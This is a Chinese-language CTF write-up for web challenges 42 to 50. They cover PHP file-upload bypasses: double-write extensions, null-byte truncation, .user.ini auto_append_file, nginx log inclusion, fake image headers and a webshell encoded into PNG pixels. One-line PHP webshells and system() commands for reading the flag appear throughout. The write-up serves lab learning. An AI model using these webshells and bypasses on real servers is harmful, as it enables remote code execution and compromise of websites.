web42-48
in wr1teup with 0 comment
web42-48
in wr1teup with 0 comment

web42

开启环境后,发现是一个上传窗口
2024-07-14T03:20:54.png
尝试上传一句话木马

<?php
//一句话木马
eval($_POST[1]);
?>

上传成功,但是发现后缀被过滤了
2024-07-14T03:24:28.png
于是接下来进行抓包改后缀
2024-07-14T03:28:56.png
但是依然被过滤
2024-07-14T03:30:09.png
如此双写绕过构造成功上传,因为网页逻辑是将php改为空
成功远程命令执行
2024-07-14T03:33:05.png
成功找到flag
2024-07-14T03:34:06.png
2024-07-14T03:34:25.png

flag{1ca82bdc-7b0b-4952-8333-acfae217a823}

原理

  1. php的文件上传绕过
    后缀替换为空时,我们通过提交 1.pphphp替换php为空后,得到1.php 成功写入木马
    php替换为txt时,我们无法双写绕过
  2. php文件上传的00截断(古老漏洞)

    • hello world
    • hello空格world\n\00

123.php 明显不让直接上传

123.php%00.jpg那么后台判断的时候,取左后一个点后面的字符作为后缀jpg看起来时合法的文件名称

web43

开启环境后,继续上传,发现只允许txt后缀文件
2024-07-14T05:34:19.png
改名了txt后再试一下,成功传入
2024-07-14T05:44:39.png
2024-07-14T05:46:09.png
在网站后缀中加入/123.txt,可以控制
2024-07-14T05:47:16.png
成功获取flag
2024-07-14T05:48:31.png

flag{9e3f515f-3418-4774-a26a-66a88a930237}

题目是基于php错误配置,不是通用方法

web44

开启环境也是一个上传题目,我们先上传配置文件
2024-07-15T06:38:30.png
.user.ini

auto_append_file =123.txt

然后上传123.txt
2024-07-15T06:41:43.png
测试成功

i am 123.txt

<?php
phpinfo();
?>  

成功远程命令执行
2024-07-15T06:42:41.png
之后进行system控制
找到flag

i am 123.txt

<?php
system("ls /");
?>

2024-07-15T06:45:25.png

<?php
system("tac /f*");
?>  

2024-07-15T06:46:18.png

flag{91a3851a-9405-4e9f-8cfb-6ffcc0524081}


web45

开启环境后,发现会检测上传文件的类型
2024-07-15T06:53:17.png
之后还得借用配置文件,我们先进行二分法确定什么会被过滤

<?php
eval($_POST[1]);
?>

2024-07-15T06:53:17.png

<?php
eval($_

2024-07-15T06:57:01.png

说明这前一半就非法了

<?php

2024-07-15T06:57:51.png
所以很可能是php,换成短标签,成功上传

<?=

2024-07-15T07:00:25.png

<?=eval($_POST[1]);?>

2024-07-15T06:57:51.png

<?=eval($_GET[1]);?>

2024-07-15T07:01:54.png
发现GETPOST都不行,我们换用REQUESTCOOKIE都试一下,都不行

<?=eval($_REQUEST[1]);?>

2024-07-15T07:03:00.png

<?=eval($_COOKIE[1]);?>

2024-07-15T07:05:11.png
去掉最后的?>,再试一下

<?=eval($_COOKIE[1]);

2024-07-15T07:05:45.png

cookie传入

eval(base64_decode('cGhwaW5mbygpOw=='));?>

暂时未解决

web46

开启环境,借助伪协议的一道题
还是先传入配置文件,和321.txt,发现
2024-07-15T07:38:30.png
同样进行2分法进行排除

<?

2024-07-15T07:40:35.png

< ?

2024-07-15T07:39:48.png

<script language="php">
phpinfo();
</script>

2024-07-15T07:42:05.png
但是在首页查看源码可以发现,没有被解析出来
2024-07-15T07:42:37.png
于是也不能用这个来进行
只能通过绕过,配合伪协议
.user.ini
2024-07-15T07:45:26.png
于是抓包附加数据,修改为POST
2024-07-15T07:49:27.png
神奇的输出了
于是得到flag
2024-07-15T07:51:17.png

flag{11d47557-455d-430d-8664-b29fee0576a3}

web47

开启环境后依然是一个文件上传
重试伪协议
2024-07-15T07:54:42.png
2024-07-15T07:56:15.png
可以得到flag

flag{c35b8690-effc-4662-95da-886adb1eec53}

当然还有其他方法,利用日志

auto_append_file = /var/log/nginx/access.log

2024-07-15T07:59:02.png
成功通过日志包含
2024-07-15T08:01:16.png

web48

开启环境后进行上传,发现此处需要图片
所以需要我们绕过函数

#define width 100;
#define height 100;

auto_append_file = /var/log/nginx/access.log

2024-07-15T09:10:47.png
上传成功
2024-07-15T10:25:55.png
2024-07-15T10:29:32.png
得到flag

flag{d2826f59-0945-440c-988d-279e5c6800c3}

web49

开启环境后跟刚才基本完全一样的操作
2024-07-15T10:33:50.png
2024-07-15T10:34:43.png
得到flag

flag{5997060c-34c6-4f40-8858-8330592976cd}

web50

开启环境依旧是一个上传空间

+<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
       0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
       0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
       0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
       0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
       0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
       0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
       0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/

?>

生成图片后上传
2024-07-15T10:41:51.png
在图片也就是木马存放的位置进行抓包
2024-07-15T10:44:14.png
改成POST传参,0是函数名,1是参数
2024-07-15T10:47:48.png
2024-07-15T10:48:32.png
得到flag

flag{20de3ab1-2ef2-4ef2-9404-977d2266c7aa}

The article has been posted for too long and comments have been automatically closed.